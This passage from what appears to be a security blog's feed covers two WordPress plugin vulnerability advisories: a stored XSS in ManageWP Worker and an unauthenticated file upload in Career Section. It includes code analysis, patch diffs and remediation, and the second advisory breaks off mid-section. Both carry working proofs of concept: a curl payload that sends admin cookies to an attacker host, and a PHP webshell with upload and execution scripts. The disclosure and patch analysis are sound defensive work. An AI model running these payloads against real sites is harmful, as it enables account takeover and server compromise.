&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/worker.4.9.31.zip&quot;&gt;&amp;lt;= 4.9.31&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/worker.4.9.32.zip&quot;&gt;4.9.32&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/timomangcut&quot;&gt;timomangcut&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/worker/managewp-worker-4931-unauthenticated-stored-cross-site-scripting-via-mwp-key-name-header&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The ManageWP Worker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &lt;code&gt;MWP-Key-Name&lt;/code&gt; HTTP request header in all versions up to and including 4.9.31. This is due to insufficient input sanitization and output escaping of attacker-controlled header values. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator visits the plugin&apos;s connection management page with debug parameters.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;How the Plugin Processes Requests&lt;/h3&gt;
&lt;p&gt;ManageWP Worker runs on the WordPress &lt;code&gt;init&lt;/code&gt; hook at priority 99999. On every HTTP request, the plugin calls &lt;code&gt;MWP_Worker_Request::createFromGlobals()&lt;/code&gt; and passes the result to &lt;code&gt;MWP_Worker_Kernel::handleRequest()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The kernel checks if the incoming request is a &quot;master request&quot; — a POST request that carries the &lt;code&gt;MWP-Action&lt;/code&gt; HTTP header. If it is, the kernel dispatches a &lt;code&gt;MASTER_REQUEST&lt;/code&gt; event to all registered listeners.&lt;/p&gt;
&lt;p&gt;One of those listeners is &lt;code&gt;MWP_EventListener_MasterRequest_AuthenticateServiceRequest&lt;/code&gt;. It fires at priority 350, before any actual action is executed.&lt;/p&gt;
&lt;h3&gt;Source of the Vulnerability — Unsanitized Header Value Stored in DB&lt;/h3&gt;
&lt;p&gt;Inside &lt;code&gt;AuthenticateServiceRequest::onMasterRequest()&lt;/code&gt;, the listener reads the &lt;code&gt;MWP-Key-Name&lt;/code&gt; header and stores it raw into &lt;code&gt;$keyName&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/MWP/EventListener/MasterRequest/AuthenticateServiceRequest.php
$keyName = $request-&amp;gt;getKeyName();  // reads HTTP_MWP_KEY_NAME from $_SERVER — no sanitization
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The request class resolves this header value directly from &lt;code&gt;$_SERVER&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/MWP/Worker/Request.php : getHeader()
public function getHeader($header)
{
    $header = &apos;HTTP_&apos;.strtoupper(str_replace(&apos;-&apos;, &apos;_&apos;, $header));
    if (isset($this-&amp;gt;server[$header])) {
        return $this-&amp;gt;server[$header];  // raw, unsanitized
    }
    return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The listener then checks whether a public key matching &lt;code&gt;$keyName&lt;/code&gt; exists in the plugin&apos;s configuration. Because the attacker supplies an arbitrary string that will never match a real key, the check fails. The error branch then concatenates &lt;code&gt;$keyName&lt;/code&gt; directly into a string and saves it to the WordPress options table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/MWP/EventListener/MasterRequest/AuthenticateServiceRequest.php : lines 67–72
$publicKey = $this-&amp;gt;configuration-&amp;gt;getLivePublicKey($keyName);

if (empty($publicKey)) {
    $this-&amp;gt;context-&amp;gt;optionSet(
        &apos;mwp_last_communication_error&apos;,
        &apos;Could not find the appropriate communication key. Searched for: &apos;.$keyName  // XSS payload stored here
    );
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;optionSet&lt;/code&gt; calls WordPress&apos;s &lt;code&gt;update_option()&lt;/code&gt;. The raw XSS payload is now stored in the database under the option key &lt;code&gt;mwp_last_communication_error&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Sink — Unsanitized Option Value Echoed in Admin Page&lt;/h3&gt;
&lt;p&gt;The stored value is rendered in the admin area by &lt;code&gt;AddConnectionKeyInfo::printConnectionModalDialog()&lt;/code&gt;. This function is hooked to &lt;code&gt;admin_footer&lt;/code&gt; and renders a connection management dialog on the Plugins page.&lt;/p&gt;
&lt;p&gt;The dialog only shows its &quot;debug section&quot; when the &lt;code&gt;mwp_force_key_refresh&lt;/code&gt; GET parameter is present. When that parameter is set, &lt;code&gt;checkForKeyRefresh()&lt;/code&gt; returns a non-false value, and the template renders the last communication error without escaping:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/MWP/EventListener/PublicRequest/AddConnectionKeyInfo.php : line 417 (vulnerable version)
&amp;lt;?php echo &apos;Last communication error: &apos;.$this-&amp;gt;context-&amp;gt;optionGet(&apos;mwp_last_communication_error&apos;, &apos;&apos;) ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any HTML or JavaScript in the stored option value executes in the administrator&apos;s browser.&lt;/p&gt;
&lt;h3&gt;Why This Is Unauthenticated&lt;/h3&gt;
&lt;p&gt;No WordPress authentication is required to store the payload. The &lt;code&gt;MASTER_REQUEST&lt;/code&gt; event fires for any POST request with the &lt;code&gt;MWP-Action&lt;/code&gt; header — no session cookie, no nonce, and no &lt;code&gt;is_user_logged_in()&lt;/code&gt; check is performed before &lt;code&gt;AuthenticateServiceRequest::onMasterRequest()&lt;/code&gt; runs. The listener&apos;s sole job is to &lt;em&gt;attempt&lt;/em&gt; authentication; a failed attempt still stores the key name in the option.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and authorized security testing only. Do not use it against systems you do not own or have explicit permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ManageWP Worker plugin installed and active, version ≤ 4.9.31&lt;/li&gt;
&lt;li&gt;Target WordPress site at &lt;code&gt;https://target.example.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Store the XSS payload (no login needed)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a POST request to the WordPress site with the &lt;code&gt;MWP-Action&lt;/code&gt; header set to any value and the &lt;code&gt;MWP-Key-Name&lt;/code&gt; header set to the payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://target.example.com/&quot; \
  -H &quot;MWP-Action: get_state&quot; \
  -H &quot;MWP-Key-Name: &amp;lt;script&amp;gt;fetch(&apos;https://attacker.example.com/steal?c=&apos;+document.cookie)&amp;lt;/script&amp;gt;&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;params&quot;: {}}&apos; \
  -o /dev/null \
  -w &quot;%{http_code}\n&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A 200 response confirms the request was processed. The XSS payload is now stored in the &lt;code&gt;mwp_last_communication_error&lt;/code&gt; WordPress option in the database.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Trigger execution (admin visits the debug URL)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Convince an administrator to visit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://target.example.com/wp-admin/plugins.php?worker_connections=1&amp;amp;mwp_force_key_refresh=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, if the attacker can trigger the admin to load any crafted page (via phishing), the payload executes in their authenticated session.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Verify execution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The script injected in Step 1 runs in the administrator&apos;s browser. In the cookie-stealing example, the attacker&apos;s server receives the session cookie, which can be used to take over the admin account.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;The patch introduced in version 4.9.32 applies a dual defence strategy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 1 — Sanitize at the source (root cause fix)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;AuthenticateServiceRequest.php&lt;/code&gt;, &lt;code&gt;sanitize_text_field()&lt;/code&gt; is now applied to &lt;code&gt;$keyName&lt;/code&gt; before it is stored in the option:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  $keyName = $request-&amp;gt;getKeyName();
+ // Sanitize key name to prevent XSS when displayed in debug output
+ $sanitizedKeyName = sanitize_text_field($keyName);

  if (empty($serviceSignature) || empty($keyName)) {
-     $this-&amp;gt;context-&amp;gt;optionSet(&apos;mwp_last_communication_error&apos;, &apos;... Key Name: &apos;.$keyName.&apos;...&apos;);
+     $this-&amp;gt;context-&amp;gt;optionSet(&apos;mwp_last_communication_error&apos;, &apos;... Key Name: &apos;.$sanitizedKeyName.&apos;...&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags and invalid UTF-8 characters, so a payload like &lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; is reduced to &lt;code&gt;alert(1)&lt;/code&gt; before it ever reaches the database.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 2 — Escape at the output (defence in depth)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;AddConnectionKeyInfo.php&lt;/code&gt;, the rendering of the stored option value is now wrapped in &lt;code&gt;esc_html()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- &amp;lt;?php echo &apos;Last communication error: &apos;.$this-&amp;gt;context-&amp;gt;optionGet(&apos;mwp_last_communication_error&apos;, &apos;&apos;) ?&amp;gt;
+ &amp;lt;?php echo &apos;Last communication error: &apos;.esc_html($this-&amp;gt;context-&amp;gt;optionGet(&apos;mwp_last_communication_error&apos;, &apos;&apos;)) ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even if an unsanitized value somehow reached the option in the future, &lt;code&gt;esc_html()&lt;/code&gt; would prevent it from being rendered as HTML.&lt;/p&gt;
&lt;p&gt;The patch also adds &lt;code&gt;esc_html()&lt;/code&gt; around the &lt;code&gt;$refreshedKeys[&apos;message&apos;]&lt;/code&gt; output and around the public keys JSON dump, and fixes a reflected XSS vector in the site ID column (&lt;code&gt;esc_html($siteId)&lt;/code&gt; + &lt;code&gt;urlencode($siteId)&lt;/code&gt; in the deactivation URL).&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Version 4.9.32 released with the fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update ManageWP Worker to &lt;strong&gt;version 4.9.32 or later&lt;/strong&gt; immediately.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;WordPress Admin → Plugins → Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find &lt;strong&gt;ManageWP Worker&lt;/strong&gt; and click &lt;strong&gt;Update Now&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Confirm the version number shows 4.9.32 or higher&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Alternatively, download the patched version directly from &lt;a href=&quot;https://wordpress.org/plugins/worker/&quot;&gt;wordpress.org/plugins/worker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, consider temporarily deactivating the plugin or restricting access to &lt;code&gt;wp-admin/plugins.php&lt;/code&gt; until the update can be applied.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/worker/managewp-worker-4931-unauthenticated-stored-cross-site-scripting-via-mwp-key-name-header&quot;&gt;Wordfence Advisory — CVE-2026-3718&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3718&quot;&gt;CVE-2026-3718 at cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3485733/worker&quot;&gt;Patch changeset on WordPress Trac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/worker/&quot;&gt;ManageWP Worker on wordpress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-15T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-6271: Unauthenticated RCE in Career Section Plugin (CVSS 9.8)</title><link>https://hurayraiit.com/blog/cve-2026-6271-career-section-unauthenticated-file-upload/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-6271-career-section-unauthenticated-file-upload/</guid><description>CVE-2026-6271 scores CVSS 9.8 Critical in Career Section (≤ 1.7) — unauthenticated attackers can upload PHP files and execute arbitrary server-side code.</description><pubDate>Thu, 14 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-6271&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; Unauthenticated Arbitrary File Upload vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/career-section/&quot;&gt;Career Section&lt;/a&gt; WordPress plugin. Any visitor — no account needed — can upload a PHP webshell through the job application form and execute arbitrary commands on the server.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Career Section&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;career-section&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6271&quot;&gt;CVE-2026-6271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/career-section.1.7.zip&quot;&gt;&amp;lt;= 1.7&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/career-section.1.8.zip&quot;&gt;1.8&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Paolo Tresso - Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/career-section/career-section-17-unauthenticated-arbitrary-file-upload&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Career Section plugin lets site owners publish job listings and collect applications. Each job post shows an &quot;Apply Now&quot; button that opens a form. The form accepts a CV file upload. In versions up to and including 1.7, that upload handler accepts any file type — including executable PHP files. Because the form is public and the CSRF token is embedded in the page HTML, no login or special permission is needed to exploit this.&lt;/p&gt;
&lt;p&gt;An attacker can upload a PHP webshell. The server then stores it in a publicly accessible directory. The attacker requests the file directly, and the web server executes it. This gives the attacker full remote code execution on the host.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Execution Path&lt;/h3&gt;
&lt;p&gt;The plugin registers a custom post type &lt;code&gt;csection&lt;/code&gt; for job listings via &lt;code&gt;index.php&lt;/code&gt;. When a visitor views a job post, WordPress loads the template &lt;code&gt;templates/single-csection.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That template serves two purposes: it renders the job detail page, and it processes the form submission when &lt;code&gt;$_POST[&apos;first_name&apos;]&lt;/code&gt; and &lt;code&gt;$_POST[&apos;csaf_form_nonce&apos;]&lt;/code&gt; are set.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// templates/single-csection.php — line 141
if ( isset( $_POST[&apos;first_name&apos;], $_POST[&apos;csaf_form_nonce&apos;] ) ){
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nonce Does Not Prevent Unauthenticated Access&lt;/h3&gt;
&lt;p&gt;The code does verify a nonce at line 151:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( ! wp_verify_nonce( $nonce, &apos;csaf_form_submission&apos; ) ) {
    wp_die( esc_html__( &apos;Nonce verification failed&apos;, &apos;career-section&apos; ) );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WordPress nonces are CSRF tokens, not authentication tokens. The nonce value is embedded in the form HTML for every visitor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// templates/single-csection.php — line 316
&amp;lt;?php wp_nonce_field( &apos;csaf_form_submission&apos;, &apos;csaf_form_nonce&apos; ); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any unauthenticated visitor who loads a job listing page receives a valid nonce in the page source. They can use that nonce to pass the verification check.&lt;/p&gt;
&lt;h3&gt;Missing File Type Validation&lt;/h3&gt;
&lt;p&gt;After passing the nonce check, the upload handler at lines 170–182 moves the file with no restriction on type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES[&apos;cv&apos;][&apos;name&apos;] ) &amp;amp;&amp;amp; ! empty( $_FILES[&apos;cv&apos;][&apos;tmp_name&apos;] ) ) {

    // Sanitize filename
    $original_name = sanitize_file_name( $_FILES[&apos;cv&apos;][&apos;name&apos;] );
    $name_file = time() . &apos;_&apos; . $original_name;
    $destination = $cs_dir . &apos;/&apos; . $name_file;

    // Use WP_Filesystem to move the file instead of move_uploaded_file()
    if ( $wp_filesystem-&amp;gt;move( $_FILES[&apos;cv&apos;][&apos;tmp_name&apos;], $destination, true ) ) {
        $cvfiles = &quot;with your cv.&quot;;
        $uploaded_file_url = $upload_dir[&apos;baseurl&apos;] . &apos;/cs_applicant_submission_files/&apos; . $name_file;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_file_name()&lt;/code&gt; only cleans up special characters. It does not block dangerous extensions like &lt;code&gt;.php&lt;/code&gt;. The file is moved to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp-content/uploads/cs_applicant_submission_files/&amp;lt;timestamp&amp;gt;_&amp;lt;filename&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no &lt;code&gt;.htaccess&lt;/code&gt; file in that directory to block PHP execution. The uploaded PHP file is directly accessible via the web server and will execute.&lt;/p&gt;
&lt;h3&gt;Why It Is Critical&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No authentication required&lt;/strong&gt; — the nonce is publicly visible in the page HTML&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No file type restriction&lt;/strong&gt; — any extension is accepted, including &lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.php5&lt;/code&gt;, &lt;code&gt;.phtml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No .htaccess protection&lt;/strong&gt; — the uploads subdirectory allows PHP execution&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Predictable path&lt;/strong&gt; — the filename is &lt;code&gt;time()_&lt;/code&gt; + sanitized original name, which is guessable using the upload timestamp&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is for educational purposes only. Only test on systems you own or have explicit written permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; Career Section plugin installed and active, version ≤ 1.7. At least one job post published.&lt;/p&gt;
&lt;h3&gt;Step 1 — Create a PHP Webshell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&apos; &amp;gt; shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2 — Get a Valid Nonce from the Page&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;http://target.com&quot;
JOB_URL=&quot;$TARGET/careers/software-engineer/&quot;   # any csection post URL

NONCE=$(curl -s &quot;$JOB_URL&quot; \
  | grep -oP &apos;name=&quot;csaf_form_nonce&quot; value=&quot;\K[^&quot;]+&apos;)

echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3 — Upload the Webshell&lt;/h3&gt;
&lt;p&gt;Record the current Unix timestamp before sending to estimate the filename:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TS=$(date +%s)

curl -s -X POST &quot;$JOB_URL&quot; \
  -F &quot;first_name=John&quot; \
  -F &quot;last_name=Doe&quot; \
  -F &quot;present_address=123 Main St&quot; \
  -F &quot;email_address=attacker@evil.com&quot; \
  -F &quot;mobile_no=1234567890&quot; \
  -F &quot;post_name=Engineer&quot; \
  -F &quot;submit=Submit&quot; \
  -F &quot;csaf_form_nonce=$NONCE&quot; \
  -F &quot;cv=@shell.php;type=application/pdf&quot; | grep -o &quot;Application has been sent&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 4 — Execute the Webshell&lt;/h3&gt;
&lt;p&gt;The filename is &lt;code&gt;&amp;lt;timestamp&amp;gt;_shell.php&lt;/code&gt;. Try timestamps around &lt;code&gt;$TS&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPLOADS=&quot;$TARGET/wp-content/uploads/cs_applicant_submission_files&quot;

for T in $(seq $((TS-2)) $((TS+2))); do
  URL=&quot;$UPLOADS/${T}_shell.php&quot;
  RESULT=$(curl -s &quot;$URL?cmd=id&quot;)
  if echo &quot;$RESULT&quot; | grep -q &quot;uid=&quot;; then
    echo &quot;Webshell active at: $URL&quot;
    echo &quot;RCE output: $RESULT&quot;
    break
  fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Webshell active at: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 1.8 fixes the vulnerability with four changes.&lt;/p&gt;
&lt;h3&gt;1. File Type Allowlist&lt;/h3&gt;
&lt;p&gt;The patch adds an explicit allowlist of safe document types:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$csaf_allowed_types = array(
    &apos;pdf&apos;  =&amp;gt; &apos;application/pdf&apos;,
    &apos;doc&apos;  =&amp;gt; &apos;application/msword&apos;,
    &apos;docx&apos; =&amp;gt; &apos;application/vnd.openxmlformats-officedocument.wordprocessingml.document&apos;,
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It then validates both the extension and the actual MIME type using WordPress&apos;s &lt;code&gt;wp_check_filetype_and_ext()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$csaf_filetype = wp_check_filetype_and_ext( $csaf_file[&apos;tmp_name&apos;], $csaf_file[&apos;name&apos;], $csaf_allowed_types );

if ( ! $csaf_filetype[&apos;ext&apos;] || ! $csaf_filetype[&apos;type&apos;] ) {
    wp_die( &apos;Invalid file type. Only PDF/DOC/DOCX allowed.&apos; );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;wp_check_filetype_and_ext()&lt;/code&gt; checks the file&apos;s real content (magic bytes), not just the declared extension. Renaming &lt;code&gt;shell.php&lt;/code&gt; to &lt;code&gt;shell.pdf&lt;/code&gt; will fail this check.&lt;/p&gt;
&lt;h3&gt;2. Random Filename&lt;/h3&gt;
&lt;p&gt;The patch replaces the predictable &lt;code&gt;time()_filename&lt;/code&gt; pattern with a 32-character random string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$csaf_name_file = wp_generate_password( 32, false ) . &apos;.&apos; . $csaf_filetype[&apos;ext&apos;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This prevents attackers from guessing the upload path.&lt;/p&gt;
&lt;h3&gt;3. .htaccess Protection&lt;/h3&gt;
&lt;p&gt;The patch creates a &lt;code&gt;.htaccess&lt;/code&gt; file in the upload directory that blocks PHP execution:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file_put_contents( $csaf_htaccess,
    &quot;php_flag engine off\n&amp;lt;FilesMatch \&quot;\\.php$\&quot;&amp;gt;\nDeny from all\n&amp;lt;/FilesMatch&amp;gt;&quot;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a defense-in-depth measure. Even if a PHP file reaches the directory somehow, it cannot be executed.&lt;/p&gt;
&lt;h3&gt;4. Authenticated Download Endpoint&lt;/h3&gt;
&lt;p&gt;Instead of serving files directly via a public URL, the patch routes file downloads through an admin endpoint that checks authentication and a valid nonce:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function csaf_download_cv() {
    if ( ! current_user_can( &apos;manage_options&apos; ) ) {
        wp_die( &apos;Unauthorized&apos; );
    }
    if ( ! isset( $_GET[&apos;cs_nonce&apos;] ) ||
         ! wp_verify_nonce( sanitize_text_field(wp_unslash( $_GET[&apos;cs_nonce&apos;] )), &apos;csaf_download_cv&apos; )
    ) {
        wp_die( &apos;Invalid request&apos; );
    }
    // ... serve file securely
}
add_action( &apos;admin_post_csaf_download_cv&apos;, &apos;csaf_download_cv&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Uploaded CVs are no longer directly accessible to anyone who guesses or discovers the filename.&lt;/p&gt;
&lt;h3&gt;Does the Fix Address the Root Cause?&lt;/h3&gt;
